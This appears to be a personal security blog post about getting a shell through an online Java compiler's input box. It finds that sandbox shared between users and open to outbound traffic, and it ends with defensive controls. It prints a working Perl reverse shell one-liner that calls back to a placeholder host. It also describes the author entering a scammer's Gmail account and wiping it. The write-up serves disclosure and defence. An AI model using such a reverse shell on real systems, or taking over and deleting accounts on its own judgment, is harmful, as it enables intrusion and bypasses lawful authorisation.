A Reverse Shell from an Online Compiler

April 2022 · security · sandboxing · RCE · research

Context. This is me poking at a public online Java compiler out of curiosity. An online compiler runs whatever code you paste on someone else's machine, that is the entire product, so running code is expected. What I did not expect was how far that code could reach, or who else I would find sharing the box with me. Third party details (the other user's account, the people they were targeting) are redacted here, and my own IP is a placeholder.

The blinking cursor

This started by accident. I had a small Java program in Programiz that read some input, ran it, and finished. After it printed its output I pressed Enter a couple of times out of habit, and instead of going back to an idle state the output pane just left me with a cursor blinking on an empty line. No prompt, no label, nothing. It looked like the program had hung.

So I typed ls and pressed Enter, and it listed a directory. The input box that programs read from was sitting on top of a shell, and once the Java process was out of the way, whatever I typed there ran as a command. That is the whole bug: an input field that was supposed to feed stdin to my program was, after the program exited, just a shell waiting for commands.

Where am I

The first thing you do with a shell you did not expect to have is figure out who and where you are.

$ whoami
compiler

$ ls /
app  bin  boot  dev  etc  home  lib  lib32  lib64  libx32
media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

I am compiler, a dedicated low-privilege user, which is the right call. The filesystem is a normal Debian-ish container, and my compiled program is sitting in /tmp where the runner dropped it. So far this is a sandbox, a per-run container running my code as an unprivileged user. The problem is what that sandbox is allowed to do next.

Turning it into a real shell

Typing commands one at a time into a web input box is miserable, so I upgraded to a proper interactive shell. From inside the Java program I shelled out to a one-line Perl reverse shell that dials back to a listener on my own machine. To actually receive it I opened a port on my home router and forwarded it to my laptop, since the connection has to come inbound from the cloud box to me.

$ nc -lnvp 1337
Connection from 35.223.55.41:40180
perl -MIO -e '$p=fork;exit,if($p);
  $c=new IO::Socket::INET(PeerAddr,"<MY_IP>:1337");
  STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

The source address, 35.223.55.41, is a Google Cloud range, so the compiler backend is a container running in GCP. The Java editor still printed its usual Hello, World! to the output pane and looked completely normal, but it had also forked a child that dialed home, and my terminal lit up with an interactive prompt running as compiler.

It is one big shared box

Then I ran ps -aux, and that is where it stopped being a toy. The process list was full of other people's programs, all running as the same compiler user on the same machine at the same time:

compiler  211  python3.8 -i -c  for x in range(10): print("...")
compiler  215  perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET(...)   # mine
compiler  227  python3.8 -i -c  persons_name = input("enter your name ")
                                 favourite_color = input("enter a color: ")

Every visitor hitting "Run" anywhere on the site lands on this same box as this same user. I could see their source code on the command line, see programs sitting at an input() prompt waiting for someone to type a name, and I had the privileges to read their temp files or signal their processes. There is a sandbox around the machine, but there is no isolation between users on it. A per-run container that every user shares is not really a per-run container.

The scammer

Most of the other sessions were exactly what you would expect from an online compiler: homework, test prints, people learning loops. One was not. Someone was using the box to run an email scam, and from there I found my way into the Gmail account they were driving it from.

It was a Norton refund scam, the callback kind. The sent folder was full of near identical emails blasted out with long lists of bcc recipients, each one a fake invoice: "Thank you for your order, your Norton 360 subscription has renewed, we have charged 349.99 USD to your account, if you did not authorize this call our toll free number." There was a forged Norton invoice image attached and a phone number to call. The whole thing is designed to panic someone into calling, at which point the "support" line walks them through handing over money or remote access to fix a charge that never happened.

Cleaning up

I am not going to pretend I handled this like a professional. I was already logged into the account, I could see exactly who it was targeting, so I deleted the scam mail and the account contents to break that particular run. It is not a fix, they will spin up another address tomorrow, but it felt better than closing the tab and leaving the next batch to go out. Mostly it drove home that the same missing isolation that let me look around also let someone park an active scam operation on a free coding website and reach real inboxes from it.

What actually went wrong

Running my code as an unprivileged user in a container is the correct baseline. The problems are the controls layered on top of it, or rather missing from it:

How you would contain this

None of the fixes are exotic. If you run untrusted code for a living, the defenses are well known:

LayerControl
IsolationOne-shot microVM (Firecracker/gVisor) per run, torn down after, no shared user and no shared state between sessions.
NetworkDefault-deny egress. The runner needs no outbound access at all, drop it at the container or VPC level.
Syscallsseccomp allow-list; block socket, connect, ptrace, mount and friends.
ImageMinimal rootfs, no perl/bash/curl the language runtime does not need.
ResourcesCPU, memory, PID and time limits so a fork bomb or miner cannot camp on the box.

Takeaway

Sandboxing the user with an unprivileged account is necessary but nowhere near enough. The moment a sandbox is shared between strangers and can open a socket to the internet, "we run your code in a container" quietly becomes "we give everyone a shell on a shared machine with outbound network access," and you find out who shows up to use it. Assume every run is hostile, give each one its own throwaway box, and cut the network.